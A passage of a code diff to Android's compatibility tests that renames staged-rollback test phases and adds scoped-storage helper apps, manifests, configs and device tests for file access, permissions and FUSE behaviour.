+        run("testApkOnlyMultipleStagedPartialRollback_Phase2_RollBack");
         getDevice().reboot();
-        run("testApkOnlyMultipleStagedPartialRollback_Phase3");
+        run("testApkOnlyMultipleStagedPartialRollback_Phase3_Confirm");
     }
 
     /**
@@ -132,13 +134,13 @@
     public void testApexOnlyStagedRollback() throws Exception {
         assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported());
 
-        run("testApexOnlyStagedRollback_Phase1");
+        run("testApexOnlyStagedRollback_Phase1_InstallFirst");
         getDevice().reboot();
-        run("testApexOnlyStagedRollback_Phase2");
+        run("testApexOnlyStagedRollback_Phase2_InstallSecond");
         getDevice().reboot();
-        run("testApexOnlyStagedRollback_Phase3");
+        run("testApexOnlyStagedRollback_Phase3_RollBack");
         getDevice().reboot();
-        run("testApexOnlyStagedRollback_Phase4");
+        run("testApexOnlyStagedRollback_Phase4_Confirm");
     }
 
     /**
@@ -148,11 +150,11 @@
     public void testApexOnlySystemVersionStagedRollback() throws Exception {
         assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported());
 
-        run("testApexOnlySystemVersionStagedRollback_Phase1");
+        run("testApexOnlySystemVersionStagedRollback_Phase1_Install");
         getDevice().reboot();
-        run("testApexOnlySystemVersionStagedRollback_Phase2");
+        run("testApexOnlySystemVersionStagedRollback_Phase2_RollBack");
         getDevice().reboot();
-        run("testApexOnlySystemVersionStagedRollback_Phase3");
+        run("testApexOnlySystemVersionStagedRollback_Phase3_Confirm");
     }
 
     /**
@@ -160,15 +162,22 @@
      */
     @Test
     public void testApexAndApkStagedRollback() throws Exception {
+        assumeSystemUser();
         assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported());
 
-        run("testApexAndApkStagedRollback_Phase1");
+        run("testApexAndApkStagedRollback_Phase1_InstallFirst");
         getDevice().reboot();
-        run("testApexAndApkStagedRollback_Phase2");
+        run("testApexAndApkStagedRollback_Phase2_InstallSecond");
         getDevice().reboot();
-        run("testApexAndApkStagedRollback_Phase3");
+        run("testApexAndApkStagedRollback_Phase3_RollBack");
         getDevice().reboot();
-        run("testApexAndApkStagedRollback_Phase4");
+        run("testApexAndApkStagedRollback_Phase4_Confirm");
+    }
+
+    private void assumeSystemUser() throws Exception {
+        String systemUser = "0";
+        assumeThat("Current user is not system user",
+                getDevice().executeShellCommand("am get-current-user").trim(), equalTo(systemUser));
     }
 
     /**
@@ -178,11 +187,11 @@
     public void testApexRollbackExpiration() throws Exception {
         assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported());
 
-        run("testApexRollbackExpiration_Phase1");
+        run("testApexRollbackExpiration_Phase1_InstallFirst");
         getDevice().reboot();
-        run("testApexRollbackExpiration_Phase2");
+        run("testApexRollbackExpiration_Phase2_InstallSecond");
         getDevice().reboot();
-        run("testApexRollbackExpiration_Phase3");
+        run("testApexRollbackExpiration_Phase3_Confirm");
     }
 
     /**
@@ -192,11 +201,11 @@
     public void testApexKeyRotationStagedRollback() throws Exception {
         assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported());
 
-        run("testApexKeyRotationStagedRollback_Phase1");
+        run("testApexKeyRotationStagedRollback_Phase1_Install");
         getDevice().reboot();
-        run("testApexKeyRotationStagedRollback_Phase2");
+        run("testApexKeyRotationStagedRollback_Phase2_RollBack");
         getDevice().reboot();
-        run("testApexKeyRotationStagedRollback_Phase3");
+        run("testApexKeyRotationStagedRollback_Phase3_Confirm");
     }
 
     /**
@@ -204,8 +213,8 @@
      */
     @Test
     public void testApkRollbackByAnotherInstaller() throws Exception {
-        run("testApkRollbackByAnotherInstaller_Phase1");
-        run2("testApkRollbackByAnotherInstaller_Phase2");
+        run("testApkRollbackByAnotherInstaller_Phase1_FirstInstaller");
+        run2("testApkRollbackByAnotherInstaller_Phase2_SecondInstaller");
     }
 
     /**
@@ -216,11 +225,11 @@
         assumeTrue("Device does not support file-system checkpoint",
                 mHostUtils.isCheckpointSupported());
 
-        run("testRollbackFailsBlockingSessions_Phase1");
+        run("testRollbackFailsBlockingSessions_Phase1_Install");
         getDevice().reboot();
-        run("testRollbackFailsBlockingSessions_Phase2");
+        run("testRollbackFailsBlockingSessions_Phase2_RollBack");
         getDevice().reboot();
-        run("testRollbackFailsBlockingSessions_Phase3");
+        run("testRollbackFailsBlockingSessions_Phase3_Confirm");
     }
 
     /**
@@ -233,9 +242,9 @@
         try {
             getDevice().executeShellCommand("setprop persist.pm.mock-upgrade true");
 
-            run("testFingerprintChange_Phase1");
+            run("testFingerprintChange_Phase1_Install");
             getDevice().reboot();
-            run("testFingerprintChange_Phase2");
+            run("testFingerprintChange_Phase2_Confirm");
         } finally {
             getDevice().executeShellCommand("setprop persist.pm.mock-upgrade false");
         }
diff --git a/hostsidetests/scopedstorage/Android.bp b/hostsidetests/scopedstorage/Android.bp
index fa5310e..6c7752c 100644
--- a/hostsidetests/scopedstorage/Android.bp
+++ b/hostsidetests/scopedstorage/Android.bp
@@ -18,6 +18,8 @@
     static_libs: ["cts-scopedstorage-lib"],
     sdk_version: "test_current",
     srcs: ["ScopedStorageTestHelper/src/**/*.java"],
+    // Tag as a CTS artifact
+    test_suites: ["device-tests", "mts", "cts"],
 }
 android_test_helper_app {
     name: "CtsScopedStorageTestAppB",
@@ -25,6 +27,8 @@
     static_libs: ["cts-scopedstorage-lib"],
     sdk_version: "test_current",
     srcs: ["ScopedStorageTestHelper/src/**/*.java"],
+    // Tag as a CTS artifact
+    test_suites: ["device-tests", "mts", "cts"],
 }
 android_test_helper_app {
     name: "CtsScopedStorageTestAppC",
@@ -32,6 +36,8 @@
     static_libs: ["cts-scopedstorage-lib"],
     sdk_version: "test_current",
     srcs: ["ScopedStorageTestHelper/src/**/*.java"],
+    // Tag as a CTS artifact
+    test_suites: ["device-tests", "mts", "cts"],
 }
 android_test_helper_app {
     name: "CtsScopedStorageTestAppCLegacy",
@@ -40,6 +46,28 @@
     sdk_version: "test_current",
     target_sdk_version: "28",
     srcs: ["ScopedStorageTestHelper/src/**/*.java"],
+    // Tag as a CTS artifact
+    test_suites: ["device-tests", "mts", "cts"],
+}
+android_test_helper_app {
+    name: "CtsScopedStorageTestAppDLegacy",
+    manifest: "ScopedStorageTestHelper/TestAppDLegacy.xml",
+    static_libs: ["cts-scopedstorage-lib"],
+    sdk_version: "test_current",
+    target_sdk_version: "28",
+    srcs: ["ScopedStorageTestHelper/src/**/*.java"],
+    // Tag as a CTS artifact
+    test_suites: ["device-tests", "mts", "cts"],
+}
+
+android_test_helper_app {
+    name: "CtsScopedStorageTestAppFileManager",
+    manifest: "ScopedStorageTestHelper/TestAppFileManager.xml",
+    static_libs: ["cts-scopedstorage-lib"],
+    sdk_version: "test_current",
+    srcs: ["ScopedStorageTestHelper/src/**/*.java"],
+    // Tag as a CTS artifact
+    test_suites: ["device-tests", "mts", "cts"],
 }
 
 android_test_helper_app {
@@ -135,5 +163,7 @@
         ":CtsScopedStorageTestAppB",
         ":CtsScopedStorageTestAppC",
         ":CtsScopedStorageTestAppCLegacy",
+        ":CtsScopedStorageTestAppDLegacy",
+        ":CtsScopedStorageTestAppFileManager",
     ]
 }
diff --git a/hostsidetests/scopedstorage/AndroidTest.xml b/hostsidetests/scopedstorage/AndroidTest.xml
index 2364e37..8749087 100644
--- a/hostsidetests/scopedstorage/AndroidTest.xml
+++ b/hostsidetests/scopedstorage/AndroidTest.xml
@@ -24,6 +24,9 @@
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="ScopedStorageTest.apk" />
         <option name="test-file-name" value="LegacyStorageTest.apk" />
+        <option name="test-file-name" value="CtsScopedStorageTestAppA.apk" />
+        <option name="test-file-name" value="CtsScopedStorageTestAppB.apk" />
+        <option name="test-file-name" value="CtsScopedStorageTestAppDLegacy.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.HostTest" >
         <option name="class" value="android.scopedstorage.cts.host.LegacyStorageHostTest" />
diff --git a/hostsidetests/scopedstorage/CoreTest.xml b/hostsidetests/scopedstorage/CoreTest.xml
index c251d10..b7922c9 100644
--- a/hostsidetests/scopedstorage/CoreTest.xml
+++ b/hostsidetests/scopedstorage/CoreTest.xml
@@ -23,6 +23,9 @@
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="ScopedStorageTest.apk" />
         <option name="test-file-name" value="LegacyStorageTest.apk" />
+        <option name="test-file-name" value="CtsScopedStorageTestAppA.apk" />
+        <option name="test-file-name" value="CtsScopedStorageTestAppB.apk" />
+        <option name="test-file-name" value="CtsScopedStorageTestAppDLegacy.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.HostTest" >
         <option name="class" value="android.scopedstorage.cts.host.ScopedStorageCoreHostTest" />
diff --git a/hostsidetests/scopedstorage/OWNERS b/hostsidetests/scopedstorage/OWNERS
index 3593b8a..ed4dc2a 100644
--- a/hostsidetests/scopedstorage/OWNERS
+++ b/hostsidetests/scopedstorage/OWNERS
@@ -1,6 +1 @@
-corinac@google.com
-jsharkey@android.com
-maco@google.com
-nandana@google.com
-zezeozue@google.com
-sahanas@google.com
+include platform/frameworks/base:/core/java/android/os/storage/OWNERS
diff --git a/hostsidetests/scopedstorage/PublicVolumeTest.xml b/hostsidetests/scopedstorage/PublicVolumeTest.xml
index e70217f..1dc4017 100644
--- a/hostsidetests/scopedstorage/PublicVolumeTest.xml
+++ b/hostsidetests/scopedstorage/PublicVolumeTest.xml
@@ -19,6 +19,9 @@
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="ScopedStorageTest.apk" />
         <option name="test-file-name" value="LegacyStorageTest.apk" />
+        <option name="test-file-name" value="CtsScopedStorageTestAppA.apk" />
+        <option name="test-file-name" value="CtsScopedStorageTestAppB.apk" />
+        <option name="test-file-name" value="CtsScopedStorageTestAppDLegacy.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.HostTest" >
         <option name="class" value="android.scopedstorage.cts.host.PublicVolumeHostTest" />
diff --git a/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppA.xml b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppA.xml
index fa704dd..d2a2882 100644
--- a/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppA.xml
+++ b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppA.xml
@@ -15,12 +15,11 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.scopedstorage.cts.testapp.A"
+    package="android.scopedstorage.cts.testapp.A.withres"
     android:versionCode="1"
     android:versionName="1.0" >
 
     <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
 
     <application android:label="TestAppA">
         <activity android:name="android.scopedstorage.cts.ScopedStorageTestHelper" android:exported="true" >
@@ -33,7 +32,7 @@
 
         <provider
             android:name="androidx.core.content.FileProvider"
-            android:authorities="android.scopedstorage.cts.testapp.A"
+            android:authorities="android.scopedstorage.cts.testapp.A.withres"
             android:exported="false"
             android:grantUriPermissions="true">
           <meta-data
diff --git a/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppB.xml b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppB.xml
index effc5fc..7badc29 100644
--- a/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppB.xml
+++ b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppB.xml
@@ -15,13 +15,10 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.scopedstorage.cts.testapp.B"
+    package="android.scopedstorage.cts.testapp.B.noperms"
     android:versionCode="1"
     android:versionName="1.0" >
 
-    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
-
     <application android:label="TestAppB">
         <activity android:name="android.scopedstorage.cts.ScopedStorageTestHelper" android:exported="true" >
             <intent-filter>
@@ -33,7 +30,7 @@
 
         <provider
             android:name="androidx.core.content.FileProvider"
-            android:authorities="android.scopedstorage.cts.testapp.B"
+            android:authorities="android.scopedstorage.cts.testapp.B.noperms"
             android:exported="false"
             android:grantUriPermissions="true">
           <meta-data
diff --git a/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppDLegacy.xml b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppDLegacy.xml
new file mode 100644
index 0000000..18f49dc
--- /dev/null
+++ b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppDLegacy.xml
@@ -0,0 +1,44 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.scopedstorage.cts.testapp.D"
+    android:versionCode="1"
+    android:versionName="1.0" >
+
+  <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+  <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+
+    <application android:label="TestAppDLegacy">
+        <activity android:name="android.scopedstorage.cts.ScopedStorageTestHelper" android:exported="true" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+
+        <provider
+            android:name="androidx.core.content.FileProvider"
+            android:authorities="android.scopedstorage.cts.testapp.D"
+            android:exported="false"
+            android:grantUriPermissions="true">
+          <meta-data
+              android:name="android.support.FILE_PROVIDER_PATHS"
+              android:resource="@xml/file_paths" />
+        </provider>
+    </application>
+</manifest>
diff --git a/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppFileManager.xml b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppFileManager.xml
new file mode 100644
index 0000000..1956d34
--- /dev/null
+++ b/hostsidetests/scopedstorage/ScopedStorageTestHelper/TestAppFileManager.xml
@@ -0,0 +1,44 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.scopedstorage.cts.testapp.filemanager"
+    android:versionCode="1"
+    android:versionName="1.0" >
+
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE" />
+
+    <application android:label="TestAppFileManager">
+        <activity android:name="android.scopedstorage.cts.ScopedStorageTestHelper" android:exported="true" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+
+        <provider
+            android:name="androidx.core.content.FileProvider"
+            android:authorities="android.scopedstorage.cts.testapp.filemanager"
+            android:exported="false"
+            android:grantUriPermissions="true">
+          <meta-data
+              android:name="android.support.FILE_PROVIDER_PATHS"
+              android:resource="@xml/file_paths" />
+        </provider>
+    </application>
+</manifest>
diff --git a/hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java b/hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java
index f71586f..11efea1 100644
--- a/hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java
+++ b/hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java
@@ -175,6 +175,9 @@
                     return intent;
                 case CREATE_FILE_QUERY:
                     maybeCreateParentDirInAndroid(file);
+                    if (!file.getParentFile().exists()) {
+                        file.getParentFile().mkdirs();
+                    }
                     intent.putExtra(queryType, file.createNewFile());
                     return intent;
                 case DELETE_FILE_QUERY:
diff --git a/hostsidetests/scopedstorage/device/AndroidTest.xml b/hostsidetests/scopedstorage/device/AndroidTest.xml
index e7d17cf..fb8d2bc 100644
--- a/hostsidetests/scopedstorage/device/AndroidTest.xml
+++ b/hostsidetests/scopedstorage/device/AndroidTest.xml
@@ -17,11 +17,14 @@
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsScopedStorageDeviceOnlyTest.apk" />
-        <option name="install-arg" value="-g" />
+        <option name="test-file-name" value="CtsScopedStorageTestAppA.apk" />
+        <option name="test-file-name" value="CtsScopedStorageTestAppB.apk" />
+        <option name="test-file-name" value="CtsScopedStorageTestAppDLegacy.apk" />
+        <option name="test-file-name" value="CtsScopedStorageTestAppFileManager.apk" />
     </target_preparer>
 
     <option name="config-descriptor:metadata" key="component" value="framework" />
-    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
     <option name="test-suite-tag" value="cts" />
diff --git a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java
index 646cc01..2a8443b 100644
--- a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java
+++ b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java
@@ -36,6 +36,7 @@
 import static android.scopedstorage.cts.lib.TestUtils.assertThrows;
 import static android.scopedstorage.cts.lib.TestUtils.canOpen;
 import static android.scopedstorage.cts.lib.TestUtils.canOpenFileAs;
+import static android.scopedstorage.cts.lib.TestUtils.checkPermission;
 import static android.scopedstorage.cts.lib.TestUtils.createFileAs;
 import static android.scopedstorage.cts.lib.TestUtils.deleteFileAs;
 import static android.scopedstorage.cts.lib.TestUtils.deleteFileAsNoThrow;
@@ -60,6 +61,7 @@
 import static android.scopedstorage.cts.lib.TestUtils.getFileRowIdFromDatabase;
 import static android.scopedstorage.cts.lib.TestUtils.getFileSizeFromDatabase;
 import static android.scopedstorage.cts.lib.TestUtils.getFileUri;
+import static android.scopedstorage.cts.lib.TestUtils.getImageContentUri;
 import static android.scopedstorage.cts.lib.TestUtils.getMoviesDir;
 import static android.scopedstorage.cts.lib.TestUtils.getMusicDir;
 import static android.scopedstorage.cts.lib.TestUtils.getNotificationsDir;
@@ -79,11 +81,16 @@
 import static android.scopedstorage.cts.lib.TestUtils.queryVideoFile;
 import static android.scopedstorage.cts.lib.TestUtils.readExifMetadataFromTestApp;
 import static android.scopedstorage.cts.lib.TestUtils.revokePermission;
+import static android.scopedstorage.cts.lib.TestUtils.setAppOpsModeForUid;
 import static android.scopedstorage.cts.lib.TestUtils.setAttrAs;
 import static android.scopedstorage.cts.lib.TestUtils.setupDefaultDirectories;
 import static android.scopedstorage.cts.lib.TestUtils.uninstallApp;
 import static android.scopedstorage.cts.lib.TestUtils.uninstallAppNoThrow;
 import static android.scopedstorage.cts.lib.TestUtils.updateDisplayNameWithMediaProvider;
+import static android.scopedstorage.cts.lib.TestUtils.verifyInsertFromExternalMediaDirViaRelativePath_allowed;
+import static android.scopedstorage.cts.lib.TestUtils.verifyInsertFromExternalPrivateDirViaRelativePath_denied;
+import static android.scopedstorage.cts.lib.TestUtils.verifyUpdateToExternalMediaDirViaRelativePath_allowed;
+import static android.scopedstorage.cts.lib.TestUtils.verifyUpdateToExternalPrivateDirsViaRelativePath_denied;
 import static android.system.OsConstants.F_OK;
 import static android.system.OsConstants.O_APPEND;
 import static android.system.OsConstants.O_CREAT;
@@ -104,7 +111,6 @@
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotNull;
-import static org.junit.Assume.assumeTrue;
 
 import android.Manifest;
 import android.app.AppOpsManager;
@@ -132,7 +138,6 @@
 import com.google.common.io.Files;
 
 import org.junit.After;
-import org.junit.AfterClass;
 import org.junit.Before;
 import org.junit.BeforeClass;
 import org.junit.Test;
@@ -180,18 +185,30 @@
 
     static final String FILE_CREATION_ERROR_MESSAGE = "No such file or directory";
 
-    // This app is installed with READ_EXTERNAL_STORAGE permission before tests are run
+    // The following apps are installed before the tests are run via a target_preparer.
+    // See test config for details.
+    // An app with READ_EXTERNAL_STORAGE permission
     private static final TestApp APP_A_HAS_RES = new TestApp("TestAppA",
-            "android.scopedstorage.cts.testapp.A", 1, false, "CtsScopedStorageTestAppA.apk");
-    // This app is installed without any permissions before tests are run
+            "android.scopedstorage.cts.testapp.A.withres", 1, false,
+            "CtsScopedStorageTestAppA.apk");
+    // An app with no permissions
     private static final TestApp APP_B_NO_PERMS = new TestApp("TestAppB",
-            "android.scopedstorage.cts.testapp.B", 1, false, "CtsScopedStorageTestAppB.apk");
-    // This app is not installed at test startup - please install before using.
+            "android.scopedstorage.cts.testapp.B.noperms", 1, false,
+            "CtsScopedStorageTestAppB.apk");
+    // An app that has file manager (MANAGE_EXTERNAL_STORAGE) permission.
+    private static final TestApp APP_FM = new TestApp("TestAppFileManager",
+            "android.scopedstorage.cts.testapp.filemanager", 1, false,
+            "CtsScopedStorageTestAppFileManager.apk");
+    // A legacy targeting app with RES and WES permissions
+    private static final TestApp APP_D_LEGACY_HAS_RW = new TestApp("TestAppDLegacy",
+            "android.scopedstorage.cts.testapp.D", 1, false, "CtsScopedStorageTestAppCLegacy.apk");
+
+    // The following apps are not installed at test startup - please install before using.
     private static final TestApp APP_C = new TestApp("TestAppC",
             "android.scopedstorage.cts.testapp.C", 1, false, "CtsScopedStorageTestAppC.apk");
-    // This app is not installed at test startup - please install before using.
     private static final TestApp APP_C_LEGACY = new TestApp("TestAppCLegacy",
             "android.scopedstorage.cts.testapp.C", 1, false, "CtsScopedStorageTestAppCLegacy.apk");
+
     private static final String[] SYSTEM_GALERY_APPOPS = {
             AppOpsManager.OPSTR_WRITE_MEDIA_IMAGES, AppOpsManager.OPSTR_WRITE_MEDIA_VIDEO};
     private static final String OPSTR_MANAGE_EXTERNAL_STORAGE =
@@ -214,16 +231,27 @@
     }
 
     @BeforeClass
-    public static void installApps() throws Exception {
-        installAppWithStoragePermissions(APP_A_HAS_RES);
-        installApp(APP_B_NO_PERMS);
+    public static void setupApps() throws Exception {
+        // File manager needs to be explicitly granted MES app op.
+        final int fmUid =
+                getContext().getPackageManager().getPackageUid(APP_FM.getPackageName(),
+                        0);
+        allowAppOpsToUid(fmUid, OPSTR_MANAGE_EXTERNAL_STORAGE);
+
+        // Others are installed by target preparer with runtime permissions.
+        // Verify.
+        assertThat(checkPermission(APP_A_HAS_RES,
+                Manifest.permission.READ_EXTERNAL_STORAGE)).isTrue();
+        assertThat(checkPermission(APP_B_NO_PERMS,
+                Manifest.permission.READ_EXTERNAL_STORAGE)).isFalse();
+        assertThat(checkPermission(APP_D_LEGACY_HAS_RW,
+                Manifest.permission.READ_EXTERNAL_STORAGE)).isTrue();
+        assertThat(checkPermission(APP_D_LEGACY_HAS_RW,
+                Manifest.permission.WRITE_EXTERNAL_STORAGE)).isTrue();
     }
 
-    @Before
-    public void setup() throws Exception {
-        // skips all test cases if FUSE is not active.
-        assumeTrue(getBoolean("persist.sys.fuse", false));
-
+    @BeforeClass
+    public static void setupStorage() throws Exception {
         if (!getContext().getPackageManager().isInstantApp()) {
             pollForExternalStorageState();
             getExternalFilesDir().mkdirs();
@@ -235,12 +263,6 @@
         executeShellCommand("rm -r /sdcard/Android/data/com.android.shell");
     }
 
-    @AfterClass
-    public static void uninstallApps() {
-        uninstallAppNoThrow(APP_B_NO_PERMS);
-        uninstallAppNoThrow(APP_A_HAS_RES);
-    }
-
     @Before
     public void setupExternalStorage() {
         setupDefaultDirectories();
@@ -735,7 +757,7 @@
             assertThat(listAs(APP_B_NO_PERMS, downloadDir.getPath())).contains(TEST_DIRECTORY_NAME);
             assertThat(listAs(APP_B_NO_PERMS, dir.getPath())).containsExactly(pdfFileName);
 
-            // APP B with storage permission should see TEST_DIRECTORY in downloadDir
+            // APP A with storage permission should see TEST_DIRECTORY in downloadDir
             // and should not see non media file in TEST_DIRECTORY.
             assertThat(listAs(APP_A_HAS_RES, downloadDir.getPath())).contains(TEST_DIRECTORY_NAME);
             assertThat(listAs(APP_A_HAS_RES, dir.getPath())).doesNotContain(pdfFileName);
@@ -823,7 +845,7 @@
 
                 HashMap<String, String> exifFromTestApp =
                         readExifMetadataFromTestApp(APP_A_HAS_RES, jpgFile.getPath());
-                // Other apps shouldn't have access to the same metadata without explicit permission
+                // App does not have AML; shouldn't have access to the same metadata.
                 assertExifMetadataMismatch(exifFromTestApp, originalExif);
 
                 // TODO(b/146346138): Test that if we give APP_A write URI permission,
@@ -1096,6 +1118,36 @@
         }
     }
 
+    @Test
+    public void testInsertDefaultPrimaryCaseInsensitiveCheck() throws Exception {
+        final File podcastsDir = getPodcastsDir();
+        final File podcastsDirLowerCase =
+                new File(getExternalStorageDir(), Environment.DIRECTORY_PODCASTS.toLowerCase());
+        final File fileInPodcastsDirLowerCase = new File(podcastsDirLowerCase, AUDIO_FILE_NAME);
+        try {
+            // Delete the directory if it already exists
+            if (podcastsDir.exists()) {
+                deleteAsLegacyApp(podcastsDir);
+            }
+            assertThat(podcastsDir.exists()).isFalse();
+            assertThat(podcastsDirLowerCase.exists()).isFalse();
+
+            // Create the directory with lower case
+            assertThat(podcastsDirLowerCase.mkdir()).isTrue();
+            // Because of case-insensitivity, even though directory is created
+            // with lower case, we should be able to see both directory names.
+            assertThat(podcastsDirLowerCase.exists()).isTrue();
+            assertThat(podcastsDir.exists()).isTrue();
+
+            // File creation with lower case path of podcasts directory should not fail
+            assertThat(fileInPodcastsDirLowerCase.createNewFile()).isTrue();
+        } finally {
+            fileInPodcastsDirLowerCase.delete();
+            podcastsDirLowerCase.delete();
+            podcastsDir.mkdirs();
+        }
+    }
+
     private void createDeleteCreate(File create, File delete) throws Exception {
         try {
             assertThat(create.createNewFile()).isTrue();
@@ -1114,7 +1166,7 @@
 
     @Test
     public void testReadStorageInvalidation() throws Exception {
-        testAppOpInvalidation(APP_B_NO_PERMS, new File(getDcimDir(), "read_storage.jpg"),
+        testAppOpInvalidation(APP_C, new File(getDcimDir(), "read_storage.jpg"),
                 Manifest.permission.READ_EXTERNAL_STORAGE,
                 AppOpsManager.OPSTR_READ_EXTERNAL_STORAGE, /* forWrite */ false);
     }
@@ -1134,13 +1186,13 @@
 
     @Test
     public void testWriteImagesInvalidation() throws Exception {
-        testAppOpInvalidation(APP_B_NO_PERMS, new File(getDcimDir(), "write_images.jpg"),
+        testAppOpInvalidation(APP_C, new File(getDcimDir(), "write_images.jpg"),
                 /* permission */ null, AppOpsManager.OPSTR_WRITE_MEDIA_IMAGES, /* forWrite */ true);
     }
 
     @Test
     public void testWriteVideoInvalidation() throws Exception {
-        testAppOpInvalidation(APP_B_NO_PERMS, new File(getDcimDir(), "write_video.mp4"),
+        testAppOpInvalidation(APP_C, new File(getDcimDir(), "write_video.mp4"),
                 /* permission */ null, AppOpsManager.OPSTR_WRITE_MEDIA_VIDEO, /* forWrite */ true);
     }
 
@@ -1196,6 +1248,7 @@
             installAppWithStoragePermissions(APP_C_LEGACY);
             grantPermission(APP_C_LEGACY.getPackageName(),
                     Manifest.permission.WRITE_EXTERNAL_STORAGE); // Grants write access for legacy
+
             // Legacy app can read and write media files contributed by others
             assertThat(canOpenFileAs(APP_C_LEGACY, file, /* forWrite */ false)).isTrue();
             assertThat(canOpenFileAs(APP_C_LEGACY, file, /* forWrite */ true)).isTrue();
@@ -1204,6 +1257,7 @@
             installAppWithStoragePermissions(APP_C);
             grantPermission(APP_C_LEGACY.getPackageName(),
                     Manifest.permission.WRITE_EXTERNAL_STORAGE); // No effect for non-legacy
+
             // Non-legacy app can read media files contributed by others
             assertThat(canOpenFileAs(APP_C, file, /* forWrite */ false)).isTrue();
             // But cannot write
@@ -1672,6 +1726,43 @@
     }
 
     /**
+     * Test that FUSE upper-fs is consistent with lower-fs after the lower-fs fd is closed.
+     */
+    @Test
+    public void testInodeStatConsistency() throws Exception {
+        File file = new File(getDcimDir(), IMAGE_FILE_NAME);
+
+        try {
+            byte[] writeBuffer = new byte[10];
+            Arrays.fill(writeBuffer, (byte) 1);
+
+            assertThat(file.createNewFile()).isTrue();
+            // Scanning a file is essential as files created via filepath will be marked
+            // as isPending, and we do not set listener for pending files as it can lead to
+            // performance overhead. See: I34611f0ee897dc676e7653beb7943aa6de58c55a.
+            MediaStore.scanFile(getContentResolver(), file);
+
+            // File operation #1 (to lower-fs)
+            ParcelFileDescriptor writePfd = openWithMediaProvider(file, "rw");
+
+            // File operation #2 (to fuse). This caches the inode for the file.
+            file.exists();
+
+            // Write bytes directly to lower-fs
+            Os.pwrite(writePfd.getFileDescriptor(), writeBuffer, 0, 10, 0);
+
+            // Close should invalidate inode cache for this file.
+            writePfd.close();
